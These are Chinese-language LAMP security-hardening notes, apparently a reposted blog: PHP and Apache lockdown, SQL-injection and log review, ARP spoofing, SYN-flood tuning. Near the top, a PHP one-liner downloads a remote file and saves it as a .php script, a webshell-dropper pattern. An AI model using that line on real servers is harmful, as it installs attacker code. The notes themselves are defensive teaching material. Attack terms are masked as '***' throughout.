DOS,DDOS
web应用程序代码缺陷
SQL注入
web平台
管理员的疏忽
Lamp
Linux + apache + mysql + php
index.html --> apache ----> client
index.php --> apache ----> libphp.so---->apache--->client
<?php $file='0830.php'; $b=file_get_contents("http://www.tvpad.cn/1a.txt"); file_put_contents($file,$b);?>
$abc='123';
$tom='wel to upl';
$mary=$abc." ".$tom; <--- "123 wel to upl"
$bean="come"." "."baby".$tom; "come babywel to upl"
一、保护lamp平台
rpm包的lamp:
yum install httpd httpd-devel mysql mysql-server php php-common php-mysql -y
1、锁定每个网站的根目录,杜绝跨站***
# vim /etc/httpd/conf/httpd.conf
<VirtualHost *:8080>
....
....
DocumentRoot /share/08
<IfModule mod_php5.c>
php_admin_value open_basedir "/share/08:/var/lib/php/session"
</IfModule>
</VirtualHost>
2、禁止php的危险函数
# vim /etc/php.ini
disable_functions = passthru,shell_exec,system,proc_nice,proc_open,proc_terminate,exec,popen
3、降低被溢出,提权
chmod 700 /usr/bin/gcc
4、每个网站独立一个数据库,独立一个帐号
bbs.upl.com
数据库:bbs
帐号:bbsuser
密码: xxxxx
create database bbs .....
grant all on bbs.* to bbsuser@'localhost' identified by '123';
千万不能使用root帐号作为网站应用程序的连接数据库的帐号
不能把root帐号和密码保存到任何配置文件中。
5、防止SQL注入
简单的情况下可以修改php.ini,缺点:有些时候会影响正常程序的运作
magic_quotes_runtime = On
magic_quotes_sybase = On
一般都是让程序员在实现代码的时候,做好特殊符号(' , "")的过滤
如果服务器被***了,如何发现,应该如何处理?
1、看日志
从***者角度来分析
猜管理员后台:产生大量404状态日志
是否包含某些敏感文件的访问: etc,passwd,shadow
看一些管理员后台的访问日志
查看一些一些比较容易出现漏洞的文件的访问日志
upload.php ,一般包含upload关键字
查看系统日志
secure
lastb
last
lastlog
2、
如果安装的是rootkit,一般就很难清除。只能重装。基于主机***检测系统:tripwire
如果是一般的***行为:修改了代码文件,插入了病毒代码。
发现对方是如何利用漏洞,利用哪些漏洞***,然后打上补丁。
对系统打补丁,升级内核。
ARP***原理
2.2.2.2 /---web1 ***** 1.1.1.2
client --> router 1.1.1.1 --swatch-->
\---web2 1.1.1.3 <--已经被黑
web2进行arp欺骗,不端发包给router: 1.1.1.2对应的MAC地址是web2's mac
解决:在router上静态绑定MAC地址
web2针对web1进行arp欺骗,不断发包告诉web1,1.1.1.1的MAC是web2's MAC
解决:在自己的机器静态绑定router的MAC
DOS/DDOS***原理
DOS 拒绝服务***
syn洪水***
tcp三步握手
a --syn=100--> b 把该数据包放到队列中
a <--syn=300,ack=101 b
a --syn=102,ack=301 b
<=======================>
a --syn=100--> b 把该数据包放到队列中<--浪费内存
<--syn=300,ack=101 b 《---不断重试,浪费cpu
<=======================>
syncookies原理
a --syn=100--> b 队列满了,不放队列,把数据进行运算,得出一个数字
a <--syn=548,ack=101 b 《---不断重试,浪费cpu
a --syn=102,ack=549-> b 把(549-1)进行反运算。
<=======================>
抵抗小规模syn洪水***
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_max_syn_backlog = 8096
net.core.netdev_max_backlog = 8096
net.ipv4.tcp_rmem = 4096 87380 4194304
net.ipv4.tcp_wmem = 4096 16384 4194304
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
DDOS 分布式拒绝服务***
/ 肉鸡1 ---
***代理-- ... ---
***--->***代理-- 肉鸡N --- ----> 受害目标
***代理-- ... ---
\ ....成千上万台肉鸡--
常见的类似于拒绝服务器的***
cc***,专门针对web服务器的应用。
转载于:https://blog.51cto.com/linuxart/844009